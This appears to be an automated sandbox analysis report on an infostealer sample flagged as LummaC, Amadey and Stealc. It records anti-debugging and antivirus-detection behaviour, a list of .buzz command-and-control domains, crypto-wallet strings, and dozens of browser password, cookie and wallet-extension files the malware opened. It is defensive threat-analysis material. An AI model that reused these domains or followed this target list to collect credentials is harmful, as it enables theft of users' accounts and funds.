Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe

Code function: 5_2_0487017C rdtsc

5_2_0487017C

Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Code function: 5_2_0079652B mov eax, dword ptr fs:[00000030h]	5_2_0079652B
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Code function: 5_2_0079A302 mov eax, dword ptr fs:[00000030h]	5_2_0079A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EFA302 mov eax, dword ptr fs:[00000030h]	6_2_00EFA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EF652B mov eax, dword ptr fs:[00000030h]	6_2_00EF652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EFA302 mov eax, dword ptr fs:[00000030h]	7_2_00EFA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EF652B mov eax, dword ptr fs:[00000030h]	7_2_00EF652B

Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: E7IQS7PV5U0JQO6HRY65DRS.exe PID: 3916, type: MEMORYSTR

LummaC encrypted strings found

Source: o0cabS0OQn.exe, 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: o0cabS0OQn.exe, 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: o0cabS0OQn.exe, 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: o0cabS0OQn.exe, 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: o0cabS0OQn.exe, 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: o0cabS0OQn.exe, 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: o0cabS0OQn.exe, 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: o0cabS0OQn.exe, 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: o0cabS0OQn.exe, 00000000.00000003.1692956906.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe

Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Jump to behavior

Source: E7IQS7PV5U0JQO6HRY65DRS.exe, E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2164313081.0000000000AFA000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: bProgram Manager
Source: skotes.exe, skotes.exe, 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000009.00000002.2935961209.00000000010F1000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 8Program Manager

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe

Code function: 5_2_0077CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

5_2_0077CBEA

Source: C:\Users\user\Desktop\o0cabS0OQn.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: o0cabS0OQn.exe, 00000000.00000003.1995448463.0000000001027000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.2111250557.0000000001032000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1914747251.0000000001027000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.2111198353.0000000001029000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1914747251.0000000001036000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\o0cabS0OQn.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 9.2.skotes.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.skotes.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.ECPOM47708SKW2N887NP33WQCGSG.exe.760000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2935256752.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: o0cabS0OQn.exe PID: 6836, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2165224725.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2163510853.00000000006F1000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E7IQS7PV5U0JQO6HRY65DRS.exe PID: 3916, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: o0cabS0OQn.exe, 00000000.00000003.1838635354.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: o0cabS0OQn.exe, 00000000.00000003.1788538521.000000000562D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: o0cabS0OQn.exe, 00000000.00000003.1914747251.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: o0cabS0OQn.exe, 00000000.00000003.1838712812.0000000001091000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: o0cabS0OQn.exe, 00000000.00000003.1838712812.0000000001091000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
